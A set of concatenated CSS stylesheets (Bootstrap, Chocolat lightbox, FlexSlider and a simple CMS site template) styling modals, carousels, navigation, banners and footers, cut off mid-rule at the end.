rgba(0, 0, 0, .5); box-shadow: 0 3px 9px rgba(0, 0, 0, .5); } .modal-backdrop { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1040; background-color: #000; } .modal-backdrop.fade { filter: alpha(opacity=0); opacity: 0; } .modal-backdrop.in { filter: alpha(opacity=50); opacity: .5; } .modal-header { min-height: 16.42857143px; padding: 15px; border-bottom: 1px solid #e5e5e5; } .modal-header .close { margin-top: -2px; } .modal-title { margin: 0; line-height: 1.42857143; } .modal-body { position: relative; padding: 15px; } .modal-footer { padding: 15px; text-align: right; border-top: 1px solid #e5e5e5; } .modal-footer .btn + .btn { margin-bottom: 0; margin-left: 5px; } .modal-footer .btn-group .btn + .btn { margin-left: -1px; } .modal-footer .btn-block + .btn-block { margin-left: 0; } .modal-scrollbar-measure { position: absolute; top: -9999px; width: 50px; height: 50px; overflow: scroll; } @media (min-width: 768px) { .modal-dialog { width: 600px; margin: 30px auto; } .modal-content { -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5); box-shadow: 0 5px 15px rgba(0, 0, 0, .5); } .modal-sm { width: 300px; } } @media (min-width: 992px) { .modal-lg { width: 900px; } } .tooltip { position: absolute; z-index: 1070; display: block; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 12px; font-weight: normal; line-height: 1.4; filter: alpha(opacity=0); opacity: 0; } .tooltip.in { filter: alpha(opacity=90); opacity: .9; } .tooltip.top { padding: 5px 0; margin-top: -3px; } .tooltip.right { padding: 0 5px; margin-left: 3px; } .tooltip.bottom { padding: 5px 0; margin-top: 3px; } .tooltip.left { padding: 0 5px; margin-left: -3px; } .tooltip-inner { max-width: 200px; padding: 3px 8px; color: #fff; text-align: center; text-decoration: none; background-color: #000; border-radius: 4px; } .tooltip-arrow { position: absolute; width: 0; height: 0; border-color: transparent; border-style: solid; } .tooltip.top .tooltip-arrow { bottom: 0; left: 50%; margin-left: -5px; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.top-left .tooltip-arrow { right: 5px; bottom: 0; margin-bottom: -5px; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.top-right .tooltip-arrow { bottom: 0; left: 5px; margin-bottom: -5px; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.right .tooltip-arrow { top: 50%; left: 0; margin-top: -5px; border-width: 5px 5px 5px 0; border-right-color: #000; } .tooltip.left .tooltip-arrow { top: 50%; right: 0; margin-top: -5px; border-width: 5px 0 5px 5px; border-left-color: #000; } .tooltip.bottom .tooltip-arrow { top: 0; left: 50%; margin-left: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .tooltip.bottom-left .tooltip-arrow { top: 0; right: 5px; margin-top: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .tooltip.bottom-right .tooltip-arrow { top: 0; left: 5px; margin-top: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .popover { position: absolute; top: 0; left: 0; z-index: 1060; display: none; max-width: 276px; padding: 1px; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; font-weight: normal; line-height: 1.42857143; text-align: left; white-space: normal; background-color: #fff; -webkit-background-clip: padding-box; background-clip: padding-box; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, .2); border-radius: 6px; -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2); box-shadow: 0 5px 10px rgba(0, 0, 0, .2); } .popover.top { margin-top: -10px; } .popover.right { margin-left: 10px; } .popover.bottom { margin-top: 10px; } .popover.left { margin-left: -10px; } .popover-title { padding: 8px 14px; margin: 0; font-size: 14px; background-color: #f7f7f7; border-bottom: 1px solid #ebebeb; border-radius: 5px 5px 0 0; } .popover-content { padding: 9px 14px; } .popover > .arrow, .popover > .arrow:after { position: absolute; display: block; width: 0; height: 0; border-color: transparent; border-style: solid; } .popover > .arrow { border-width: 11px; } .popover > .arrow:after { content: ""; border-width: 10px; } .popover.top > .arrow { bottom: -11px; left: 50%; margin-left: -11px; border-top-color: #999; border-top-color: rgba(0, 0, 0, .25); border-bottom-width: 0; } .popover.top > .arrow:after { bottom: 1px; margin-left: -10px; content: " "; border-top-color: #fff; border-bottom-width: 0; } .popover.right > .arrow { top: 50%; left: -11px; margin-top: -11px; border-right-color: #999; border-right-color: rgba(0, 0, 0, .25); border-left-width: 0; } .popover.right > .arrow:after { bottom: -10px; left: 1px; content: " "; border-right-color: #fff; border-left-width: 0; } .popover.bottom > .arrow { top: -11px; left: 50%; margin-left: -11px; border-top-width: 0; border-bottom-color: #999; border-bottom-color: rgba(0, 0, 0, .25); } .popover.bottom > .arrow:after { top: 1px; margin-left: -10px; content: " "; border-top-width: 0; border-bottom-color: #fff; } .popover.left > .arrow { top: 50%; right: -11px; margin-top: -11px; border-right-width: 0; border-left-color: #999; border-left-color: rgba(0, 0, 0, .25); } .popover.left > .arrow:after { right: 1px; bottom: -10px; content: " "; border-right-width: 0; border-left-color: #fff; } .carousel { position: relative; } .carousel-inner { position: relative; width: 100%; overflow: hidden; } .carousel-inner > .item { position: relative; display: none; -webkit-transition: .6s ease-in-out left; -o-transition: .6s ease-in-out left; transition: .6s ease-in-out left; } .carousel-inner > .item > img, .carousel-inner > .item > a > img { line-height: 1; } @media all and (transform-3d), (-webkit-transform-3d) { .carousel-inner > .item { -webkit-transition: -webkit-transform .6s ease-in-out; -o-transition: -o-transform .6s ease-in-out; transition: transform .6s ease-in-out; -webkit-backface-visibility: hidden; backface-visibility: hidden; -webkit-perspective: 1000; perspective: 1000; } .carousel-inner > .item.next, .carousel-inner > .item.active.right { left: 0; -webkit-transform: translate3d(100%, 0, 0); transform: translate3d(100%, 0, 0); } .carousel-inner > .item.prev, .carousel-inner > .item.active.left { left: 0; -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } .carousel-inner > .item.next.left, .carousel-inner > .item.prev.right, .carousel-inner > .item.active { left: 0; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); } } .carousel-inner > .active, .carousel-inner > .next, .carousel-inner > .prev { display: block; } .carousel-inner > .active { left: 0; } .carousel-inner > .next, .carousel-inner > .prev { position: absolute; top: 0; width: 100%; } .carousel-inner > .next { left: 100%; } .carousel-inner > .prev { left: -100%; } .carousel-inner > .next.left, .carousel-inner > .prev.right { left: 0; } .carousel-inner > .active.left { left: -100%; } .carousel-inner > .active.right { left: 100%; } .carousel-control { position: absolute; top: 0; bottom: 0; left: 0; width: 15%; font-size: 20px; color: #fff; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, .6); filter: alpha(opacity=50); opacity: .5; } .carousel-control.left { background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); background-image: -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001))); background-image: linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1); background-repeat: repeat-x; } .carousel-control.right { right: 0; left: auto; background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); background-image: -o-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .0001)), to(rgba(0, 0, 0, .5))); background-image: linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1); background-repeat: repeat-x; } .carousel-control:hover, .carousel-control:focus { color: #fff; text-decoration: none; filter: alpha(opacity=90); outline: 0; opacity: .9; } .carousel-control .icon-prev, .carousel-control .icon-next, .carousel-control .glyphicon-chevron-left, .carousel-control .glyphicon-chevron-right { position: absolute; top: 50%; z-index: 5; display: inline-block; } .carousel-control .icon-prev, .carousel-control .glyphicon-chevron-left { left: 50%; margin-left: -10px; } .carousel-control .icon-next, .carousel-control .glyphicon-chevron-right { right: 50%; margin-right: -10px; } .carousel-control .icon-prev, .carousel-control .icon-next { width: 20px; height: 20px; margin-top: -10px; font-family: serif; line-height: 1; } .carousel-control .icon-prev:before { content: '\2039'; } .carousel-control .icon-next:before { content: '\203a'; } .carousel-indicators { position: absolute; bottom: 10px; left: 50%; z-index: 15; width: 60%; padding-left: 0; margin-left: -30%; text-align: center; list-style: none; } .carousel-indicators li { display: inline-block; width: 10px; height: 10px; margin: 1px; text-indent: -999px; cursor: pointer; background-color: #000 \9; background-color: rgba(0, 0, 0, 0); border: 1px solid #fff; border-radius: 10px; } .carousel-indicators .active { width: 12px; height: 12px; margin: 0; background-color: #fff; } .carousel-caption { position: absolute; right: 15%; bottom: 20px; left: 15%; z-index: 10; padding-top: 20px; padding-bottom: 20px; color: #fff; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, .6); } .carousel-caption .btn { text-shadow: none; } @media screen and (min-width: 768px) { .carousel-control .glyphicon-chevron-left, .carousel-control .glyphicon-chevron-right, .carousel-control .icon-prev, .carousel-control .icon-next { width: 30px; height: 30px; margin-top: -15px; font-size: 30px; } .carousel-control .glyphicon-chevron-left, .carousel-control .icon-prev { margin-left: -15px; } .carousel-control .glyphicon-chevron-right, .carousel-control .icon-next { margin-right: -15px; } .carousel-caption { right: 20%; left: 20%; padding-bottom: 30px; } .carousel-indicators { bottom: 20px; } } .clearfix:before, .clearfix:after, .dl-horizontal dd:before, .dl-horizontal dd:after, .container:before, .container:after, .container-fluid:before, .container-fluid:after, .row:before, .row:after, .form-horizontal .form-group:before, .form-horizontal .form-group:after, .btn-toolbar:before, .btn-toolbar:after, .btn-group-vertical > .btn-group:before, .btn-group-vertical > .btn-group:after, .nav:before, .nav:after, .navbar:before, .navbar:after, .navbar-header:before, .navbar-header:after, .navbar-collapse:before, .navbar-collapse:after, .pager:before, .pager:after, .panel-body:before, .panel-body:after, .modal-footer:before, .modal-footer:after { display: table; content: " "; } .clearfix:after, .dl-horizontal dd:after, .container:after, .container-fluid:after, .row:after, .form-horizontal .form-group:after, .btn-toolbar:after, .btn-group-vertical > .btn-group:after, .nav:after, .navbar:after, .navbar-header:after, .navbar-collapse:after, .pager:after, .panel-body:after, .modal-footer:after { clear: both; } .center-block { display: block; margin-right: auto; margin-left: auto; } .pull-right { float: right !important; } .pull-left { float: left !important; } .hide { display: none !important; } .show { display: block !important; } .invisible { visibility: hidden; } .text-hide { font: 0/0 a; color: transparent; text-shadow: none; background-color: transparent; border: 0; } .hidden { display: none !important; } .affix { position: fixed; } @-ms-viewport { width: device-width; } .visible-xs, .visible-sm, .visible-md, .visible-lg { display: none !important; } .visible-xs-block, .visible-xs-inline, .visible-xs-inline-block, .visible-sm-block, .visible-sm-inline, .visible-sm-inline-block, .visible-md-block, .visible-md-inline, .visible-md-inline-block, .visible-lg-block, .visible-lg-inline, .visible-lg-inline-block { display: none !important; } @media (max-width: 767px) { .visible-xs { display: block !important; } table.visible-xs { display: table; } tr.visible-xs { display: table-row !important; } th.visible-xs, td.visible-xs { display: table-cell !important; } } @media (max-width: 767px) { .visible-xs-block { display: block !important; } } @media (max-width: 767px) { .visible-xs-inline { display: inline !important; } } @media (max-width: 767px) { .visible-xs-inline-block { display: inline-block !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm { display: block !important; } table.visible-sm { display: table; } tr.visible-sm { display: table-row !important; } th.visible-sm, td.visible-sm { display: table-cell !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm-block { display: block !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm-inline { display: inline !important; } } @media (min-width: 768px) and (max-width: 991px) { .visible-sm-inline-block { display: inline-block !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md { display: block !important; } table.visible-md { display: table; } tr.visible-md { display: table-row !important; } th.visible-md, td.visible-md { display: table-cell !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md-block { display: block !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md-inline { display: inline !important; } } @media (min-width: 992px) and (max-width: 1199px) { .visible-md-inline-block { display: inline-block !important; } } @media (min-width: 1200px) { .visible-lg { display: block !important; } table.visible-lg { display: table; } tr.visible-lg { display: table-row !important; } th.visible-lg, td.visible-lg { display: table-cell !important; } } @media (min-width: 1200px) { .visible-lg-block { display: block !important; } } @media (min-width: 1200px) { .visible-lg-inline { display: inline !important; } } @media (min-width: 1200px) { .visible-lg-inline-block { display: inline-block !important; } } @media (max-width: 767px) { .hidden-xs { display: none !important; } } @media (min-width: 768px) and (max-width: 991px) { .hidden-sm { display: none !important; } } @media (min-width: 992px) and (max-width: 1199px) { .hidden-md { display: none !important; } } @media (min-width: 1200px) { .hidden-lg { display: none !important; } } .visible-print { display: none !important; } @media print { .visible-print { display: block !important; } table.visible-print { display: table; } tr.visible-print { display: table-row !important; } th.visible-print, td.visible-print { display: table-cell !important; } } .visible-print-block { display: none !important; } @media print { .visible-print-block { display: block !important; } } .visible-print-inline { display: none !important; } @media print { .visible-print-inline { display: inline !important; } } .visible-print-inline-block { display: none !important; } @media print { .visible-print-inline-block { display: inline-block !important; } } @media print { .hidden-print { display: none !important; } } /*# sourceMappingURL=bootstrap.css.map */ ================================================ FILE: web_simplecms/simplecms/css/chocolat.css ================================================ body{ margin:0; padding:0; } #Choco_overlay{ background:rgba(20, 19, 19, 0.78) !important; position: fixed; top: 0; left: 0; z-index: 1000; width: 100%; height: 100%; display:none; padding:0; margin:0; } #Choco_content{ display:none; width:800px; height:600px; z-index:1001; position:fixed; left:50%; top:50%; margin-left:-400px; margin-top:-300px; border-top:1px solid transparent;/*Yes, adjust image perfectly at the center of a box, don't know why.*/ } #Choco_left_arrow{ float:left; background-image:url(../images/left.png)!important; background-position:12%; left:-20%; } #Choco_right_arrow{ float:right; background-image:url(../images/right.png)!important; background-position:88%; left:20%; } .Choco_arrows{ background-repeat:no-repeat; display:none; position:relative; cursor:pointer; width:49%; top:-100%; height:100%; margin-top:-30px; } #Choco_container_photo{ text-align:center; width:800px; height:600px; /*background:url(../images/ajax-loader.gif) center center no-repeat;*/ } #Choco_container_description{ padding:0; height:26px; width:100%; color:#FFFFFF; font-family:Tahoma; clear:both; position:relative; font-size:12px; margin-top:-5px; overflow:hidden; visibility:hidden; } #Choco_container_title{ float:left; padding:5px; } #Choco_container_via{ padding:5px; float:right; } #Choco_container_via a{ color:gray; } #Choco_container_via a:hover{ color:white; background:gray; } #Choco_close{ width:30px; height:25px; background-image:url(../images/close.png)!important; background-repeat:no-repeat; z-index:1002; cursor:pointer; margin: 0px 0px 15px 0px; display:none; } #Choco_loading{ width:9px; height:11px; background-image:url(../images/loading.gif); background-repeat:no-repeat; z-index:1002; cursor:pointer; float:right; margin-top:-20px; display:none; } #Choco_bigImage{ display:none; position:relative; width:100%; height:100%; margin-top:-5px; } ================================================ FILE: web_simplecms/simplecms/css/flexslider.css ================================================ /* * jQuery FlexSlider v2.0 * http://www.woothemes.com/flexslider/ * * Copyright 2012 WooThemes * Free to use under the GPLv2 license. * http://www.gnu.org/licenses/gpl-2.0.html * * Contributing author: Tyler Smith (@mbmufffin) */ /* Browser Resets */ .flex-container a:active, .flexslider a:active, .flex-container a:focus, .flexslider a:focus {outline: none;} .slides, .flex-control-nav, .flex-direction-nav {margin: 0; padding: 0; list-style: none;} /* FlexSlider Necessary Styles *********************************/ .flexslider .slides > li {display: none; -webkit-backface-visibility: hidden;} /* Hide the slides before the JS is loaded. Avoids image jumping */ .flexslider .slides img {width: 100%; display: block;} .flex-pauseplay span {text-transform: capitalize;} /* Clearfix for the .slides element */ .slides:after {content: "."; display: block; clear: both; visibility: hidden; line-height: 0; height: 0;} html[xmlns] .slides {display: block;} * html .slides {height: 1%;} /* No JavaScript Fallback */ /* If you are not using another script, such as Modernizr, make sure you * include js that eliminates this class on page load */ .no-js .slides > li:first-child {display: block;} /* FlexSlider Default Theme *********************************/ .flexslider { border: 0px; position: relative; zoom: 1; } .flex-viewport {max-height: 2000px; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; transition: all 1s ease;} .loading .flex-viewport {max-height: 300px;} .flexslider .slides {zoom: 1;} .carousel li {margin-right: 5px} /* Direction Nav */ .flex-direction-nav {*height: 0;} .flex-direction-nav a {width: 30px; height: 40px; margin: -20px 0 0; display: block; position: absolute; top: 55%; z-index: 10; cursor: pointer; text-indent: -9999px; opacity: 0; -webkit-transition: all .3s ease;} .flex-direction-nav .flex-next { left: -36px;} .flex-direction-nav .flex-prev {left: -36px;} .flexslider:hover .flex-next {opacity: 0.8; right: 5px;} .flexslider:hover .flex-prev {opacity: 0.8; left: 5px;} .flexslider:hover .flex-next:hover, .flexslider:hover .flex-prev:hover {opacity: 1;} .flex-direction-nav .flex-disabled {opacity: .3!important; filter:alpha(opacity=30); cursor: default;} /* Control Nav */ .flex-control-nav { position: absolute; left: 47.3%; margin-left: 0px; top: 122%; display: none; } .flex-control-nav li {margin: 0 6px; display: inline-block; zoom: 1; *display: inline;} .flex-control-paging li a { width: 10px; height: 10px; display: block; background: #45AED6; cursor: pointer; text-indent: -9999px; border-radius: 10px; } .flex-control-paging li a.flex-active { background:#F26F62; cursor: default;} .flex-control-thumbs {margin: 5px 0 0; position: static; overflow: hidden;} .flex-control-thumbs li {width: 25%; float: left; margin: 0;} .flex-control-thumbs img {width: 100%; display: block; opacity: .7; cursor: pointer;} .flex-control-thumbs img:hover {opacity: 1;} .flex-control-thumbs .flex-active {opacity: 1; cursor: default;} @media screen and (max-width: 768px) { .flex-control-nav { top: 110%; } } @media screen and (max-width: 640px) { } @media screen and (max-width: 480px) { section.slider { padding-top: 0%; } .flexslider { padding: 0px 0px; } .flex-control-paging li a { width: 10px; height: 10px; } .flex-control-nav { top: 113%; left: 43.3%; } } @media screen and (max-width: 320px) { section.slider { padding-top: 0%; } .flex-direction-nav a { top: 63%; } .flex-control-nav { top: 105%; left: 37.3%; } } ================================================ FILE: web_simplecms/simplecms/css/style.css ================================================ html, body{ font-size: 100%; background:#ffffff; font-family: 'Open Sans', sans-serif; } h1,h2,h3,h4,h5,h6,a{ margin:0; font-family: 'Josefin Sans', sans-serif; } p{ margin:0; } ul,label{ margin:0; padding:0; } body a:hover{ text-decoration:none; } /*-- header --*/ .header { padding: 1em 0; } .search{ float:left; width: 20%; margin-left: 4em; margin-top: -1em; } .search i{ font-size: 1em; color: #D3D0D0; left: 17.8em; top: 2.3em; } .search input[type="text"]{ outline:none; border:1px solid #ECECEC; font-size:14px; color:#999; width:100%; padding:12px 45px 12px 10px; background:none; } .logo{ float:left; margin-left:20em; } .logo a{ font-size:2em; text-transform:uppercase; text-decoration:none; color: #252222; letter-spacing: 10px; font-weight: 600; } .logo a span{ display: block; font-size: 14px; letter-spacing: 7px; line-height: 0; text-align: center; color: #999; } .logo-right{ float:right; margin-right:4em; } .logo-right ul { padding: 1.3em 0 0; } .logo-right ul li{ display:inline-block; color:#999; font-size:14px; margin: 0 1em; } .logo-right ul li a{ color:#999; text-decoration:none; } .logo-right ul li a:hover{ color:#66D5DE; } .header-nav { background-color: #F8F8F8; } .navbar-default { background: none; border: none; } .navbar-default .navbar-nav > .active > a, .navbar-default .navbar-nav > .active > a:hover, .navbar-default .navbar-nav > .active > a:focus { color: #555; background: none; } .navbar-default .navbar-nav > li > a { color: #B7B6B6; } .navbar-nav { float: none; margin-left: 5em; } .navbar { margin-bottom: 0; } .nav > li > a { padding: 20px 40px; } /*-- effect for nav --*/ .cl-effect-1 a::before, .cl-effect-1 a::after { display: inline-block; opacity: 0; -webkit-transition: -webkit-transform 0.3s, opacity 0.2s; -moz-transition: -moz-transform 0.3s, opacity 0.2s; transition: transform 0.3s, opacity 0.2s; } .cl-effect-1 a::before { margin-right: 10px; content: '['; -webkit-transform: translateX(20px); -moz-transform: translateX(20px); transform: translateX(20px); } .cl-effect-1 a::after { margin-left: 10px; content: ']'; -webkit-transform: translateX(-20px); -moz-transform: translateX(-20px); transform: translateX(-20px); } .cl-effect-1 a:hover::before, .cl-effect-1 a:hover::after, .cl-effect-1 a:focus::before, .cl-effect-1 a:focus::after,.cl-effect-1 ul li.active a{ opacity: 1; -webkit-transform: translateX(0px); -moz-transform: translateX(0px); transform: translateX(0px); } /*-- //effect for nav --*/ /*-- //header --*/ /*-- banner --*/ .banner{ background:url(../images/banner1.jpg) no-repeat 0px 0px; background-size:cover; -webkit-background-size:cover; -moz-background-size:cover; -ms-background-size:cover; -o-background-size:cover; min-height:800px; } .banner1{ background:url(../images/banner1.jpg) no-repeat 0px 0px; background-size:cover; -webkit-background-size:cover; -moz-background-size:cover; -ms-background-size:cover; -o-background-size:cover; min-height:300px; } .banner-info h1{ font-size:2em; text-transform:capitalize; margin:0; color:#fff; } .banner-info p{ font-size:14px; color:#fff; margin:1em 0 2em; line-height:1.8em; } .more a{ padding:8px 30px; background:#fff; font-size:15px; color:#000; text-decoration:none; transition:.5s all; -webkit-transition:.5s all; -moz-transition:.5s all; -o-transition:.5s all; -ms-transition:.5s all; } .more a:hover{ color:#66D5DE; } .banner-info { width: 50%; margin:20em 0 1em 0em; text-align: right; } /*-- //banner --*/ /*-- banner-bottom --*/ .banner-bottom,.features,.typo,.contact-grids,.gallery,.services,.about,.events,.history,.single{ padding:5em 0; } .banner-bottom h3,.features-grid-left h3,.features-grid-right h3,h3.title,.gallery h3,.history h3,.single h3,.events h3,.services h3,.about-grid h3{ font-size:2em; color:#f9d780; margin:0; text-align:center; font-weight:600; text-transform:capitalize; } .banner-bottom-grids:nth-child(2){ margin:3em 0; } .banner-bottom-grid-left{ text-align:right; } .banner-bottom-grid-left h4{ text-transform:capitalize; font-size:1.5em; color:#66D5DE; margin:0; } .banner-bottom-grid-left ul{ padding:1em 0; } .banner-bottom-grid-left ul li{ list-style-type:none; margin:0 0 .5em; color:#999; font-size:14px; } .banner-bottom-grid-left ul li a{ color:#66D5DE; font-family: 'Open Sans', sans-serif; } .banner-bottom-grid-left ul li a span{ color:#F9D780; left:0em; padding-left: 1em; } .banner-bottom-grid-left p{ font-size:14px; color:#999; margin:0 0 2em; line-height:1.8em; } .m1 a{ background:#66D5DE; color:#fff; } .m1 a:hover{ background:#f9d780; color:#fff; } .banner-bottom-grid-l{ text-align:left; } .banner-bottom-grid-l ul li span { padding-right: 1em; } .banner-bottom-grid-l ul li a span { padding-left: 0em; } /*-- //banner-bottom --*/ /*-- welcome-bottom --*/ .welcome-bottom{ background:url(../images/5.jpg) no-repeat 0px 0px; background-size:cover; -webkit-background-size:cover; -moz-background-size:cover; -o-background-size:cover; -ms-background-size:cover; min-height:400px; } .welcome-bottom-grid-l{ float:left; margin: 3em 0 0; } .welcome-bottom-grid-left{ float:left; margin-left:3em; text-align:right; width: 50%; } .welcome-bottom-grid-left h3{ text-transform:capitalize; font-size:1.5em; margin:0; color:#fff; } .welcome-bottom-grid-left p{ margin:1em 0 0; line-height:1.8em; color:#fff; font-size:14px; } .welcome-bottom-grids { margin: 8em 0 0; } /*-- //welcome-bottom --*/ /*-- features --*/ .features-grids1{ margin:3em 0 0; } .features-grids1 h2{ text-transform:capitalize; font-size:1.5em; color:#66D5DE; margin:0; } .features-grids1 p{ color:#999; font-size:14px; line-height:1.8em; margin:1em 0 2em; } .features-grids,.features-grid-left h3,.features-grid-right h3{ text-align: right !important; } .features-grids1-left ul{ padding:0 0 2em; } .features-grids1-left ul li{ background: url(../images/1.png) no-repeat 224px 9px; display: block; list-style-type: none; margin: 0 0 1em; padding-right: 2.5em; } .features-grids1-left ul li a{ font-size:1.2em; color:#999; text-decoration:none; text-transform:capitalize; } .copyrights{ text-indent:-9999px; height:0; line-height:0; font-size:0; overflow:hidden; } .features-grids1-left ul li a:hover{ color:#66D5DE; } .test1{ margin:3em 0 0; } .test11{ margin:2em 0 0; } .test1-left img{ margin:0 auto; } .test1-right p{ font-size:14px; color:#999; margin:1em 0 0; line-height:1.8em; position:relative; padding-left:2em; } .test1-right p:before{ background:url(../images/5.png) no-repeat 0px 0px; display:block; width:20px; height:20px; position:absolute; top:0%; left:0%; content:''; } .test1-right p span{ display:block; margin:1em 0 0; color:#f9d780; } /*-- //features --*/ /*--footer--*/ .footer { padding: 5em 0 4em; background-color: rgb(51, 51, 51); } .footer h4 { margin:0 0 .5em; } .footer h3 { color: #fff; font-size: 1.7em; margin:0.4em 0 .5em; } .footer-grids ul li { margin-bottom: 1em; } .footer-grids ul li a { color: #868686; font-size:14px; text-decoration: none; font-family: 'Open Sans', sans-serif; } .footer-grids ul li a:hover { color: #fff; } .footer-grids h4 a { color:#f9d780; font-size:2.3em; text-decoration: none; } .footer-grids p a{ color: #868686; font-size: 14px; text-decoration: none; } .footer-grids p a:hover { color: #fff; } .footer-grids p { color: #868686; font-size:14px; line-height: 1.8em; margin:0; } .footer-grids form { margin-top: 1.2em; } .footer-grids form input[type="text"] { width: 72%; padding: 9px 12px; font-size: 0.9em; float: left; color: #8D8D8D; outline: none; border: none; background: #fff; -webkit-appearance: none; } .footer-grids form input[type="submit"] { width: 24%; font-size: 14px; float: left; color: #fff; outline: none; padding: 9px 9px; border: none; background:#66D5DE; transition: 0.5s all; -webkit-transition: 0.5s all; -moz-transition: 0.5s all; -o-transition: 0.5s all; -ms-transition: 0.5s all; -webkit-appearance: none; } .footer-grids form input[type="submit"]:hover{ background:#999; } .footer-bottom { background-color: #201F1F; padding: 2em 0; text-align: center; } .footer-bottom p { color: #868686; margin:0; font-size: 14px; } .footer-bottom p a{ color: #66D5DE; border-bottom:1px solid #66D5DE; font-family: 'Open Sans', sans-serif; } .footer-bottom p a:hover{ color: #fff; border-bottom:1px solid #fff; } .social-icons{ padding:2em 0 0; } .social-icons li{ display:inline-block; } .social-icons li a.p{ background: url(../images/img-sp.png) no-repeat -7px -9px; display: block; height: 41px; width: 41px; } .social-icons li a.p:hover{ background: url(../images/img-sp.png) no-repeat -71px -9px; display: block; } .social-icons li a.in{ background: url(../images/img-sp.png) no-repeat -7px -58px; display: block; height: 41px; width: 41px; } .social-icons li a.in:hover{ background: url(../images/img-sp.png) no-repeat -72px -58px; display: block; } .social-icons li a.v{ background: url(../images/img-sp.png) no-repeat -7px -109px; display: block; height: 41px; width: 41px; } .social-icons li a.v:hover{ background: url(../images/img-sp.png) no-repeat -72px -109px; display: block; } .social-icons li a.facebook{ background: url(../images/img-sp.png) no-repeat -7px -159px; display: block; height: 41px; width: 41px; } .social-icons li a.facebook:hover{ background: url(../images/img-sp.png) no-repeat -72px -159px; display: block; } .breadco{ margin:0 0 3em; } /*--//footer--*/ /*--Typography--*/ .show-grid [class^=col-] { background: #fff; text-align: center; margin-bottom: 10px; line-height: 2em; border: 10px solid #f0f0f0; } .show-grid [class*="col-"]:hover { background: #e0e0e0; } .grid_3{ margin-bottom:2em; } .xs h3, h3.m_1{ color:#000; font-size:1.7em; font-weight:300; margin-bottom: 1em; } .grid_3 p{ color: #999; font-size: 0.85em; margin-bottom: 1em; font-weight: 300; } .grid_4{ background:none; margin-top:50px; } .label { font-weight: 300 !important; border-radius:4px; } .grid_5{ background:none; padding:2em 0; } .grid_5 h3, .grid_5 h2, .grid_5 h1, .grid_5 h4, .grid_5 h5, h3.hdg, h3.bars { margin-bottom: 1em; color:#D5D5D5; } .table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td { border-top: none !important; } .tab-content > .active { display: block; visibility: visible; } .pagination > .active > a, .pagination > .active > span, .pagination > .active > a:hover, .pagination > .active > span:hover, .pagination > .active > a:focus, .pagination > .active > span:focus { z-index: 0; } .badge-primary { background-color: #03a9f4; } .badge-success { background-color: #8bc34a; } .badge-warning { background-color: #ffc107; } .badge-danger { background-color: #e51c23; } .grid_3 p{ line-height: 2em; color: #888; font-size: 0.9em; margin-bottom: 1em; font-weight: 300; } .bs-docs-example { margin: 1em 0; } section#tables p { margin-top: 1em; } .tab-container .tab-content { border-radius: 0 2px 2px 2px; border: 1px solid #e0e0e0; padding: 16px; background-color: #ffffff; } .table td, .table>tbody>tr>td, .table>tbody>tr>th, .table>tfoot>tr>td, .table>tfoot>tr>th, .table>thead>tr>td, .table>thead>tr>th { padding: 15px!important; } .table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td { font-size: 0.9em; color: #999; border-top: none !important; } .tab-content > .active { display: block; visibility: visible; } .label { font-weight: 300 !important; } .label { padding: 4px 6px; border: none; text-shadow: none; } .nav-tabs { margin-bottom: 1em; } .alert { font-size: 0.85em; } h1.t-button,h2.t-button,h3.t-button,h4.t-button,h5.t-button { line-height:1.8em; margin-top:0.5em; margin-bottom: 0.5em; } li.list-group-item1 { line-height: 2.5em; } .input-group { margin-bottom: 20px; } .in-gp-tl{ padding:0; } .in-gp-tb{ padding-right:0; } .list-group { margin-bottom: 48px; } ol { margin-bottom: 44px; } h2.typoh2{ margin: 0 0 10px; } @media (max-width:768px){ .grid_5 { padding: 0 0 1em; } .grid_3 { margin-bottom: 0em; } } @media (max-width:640px){ h1, .h1, h2, .h2, h3, .h3 { margin-top: 0px; margin-bottom: 0px; } .grid_5 h3, .grid_5 h2, .grid_5 h1, .grid_5 h4, .grid_5 h5, h3.hdg, h3.bars { margin-bottom: .5em; } .progress { height: 10px; margin-bottom: 10px; } ol.breadcrumb li,.grid_3 p,ul.list-group li,li.list-group-item1 { font-size: 14px; } 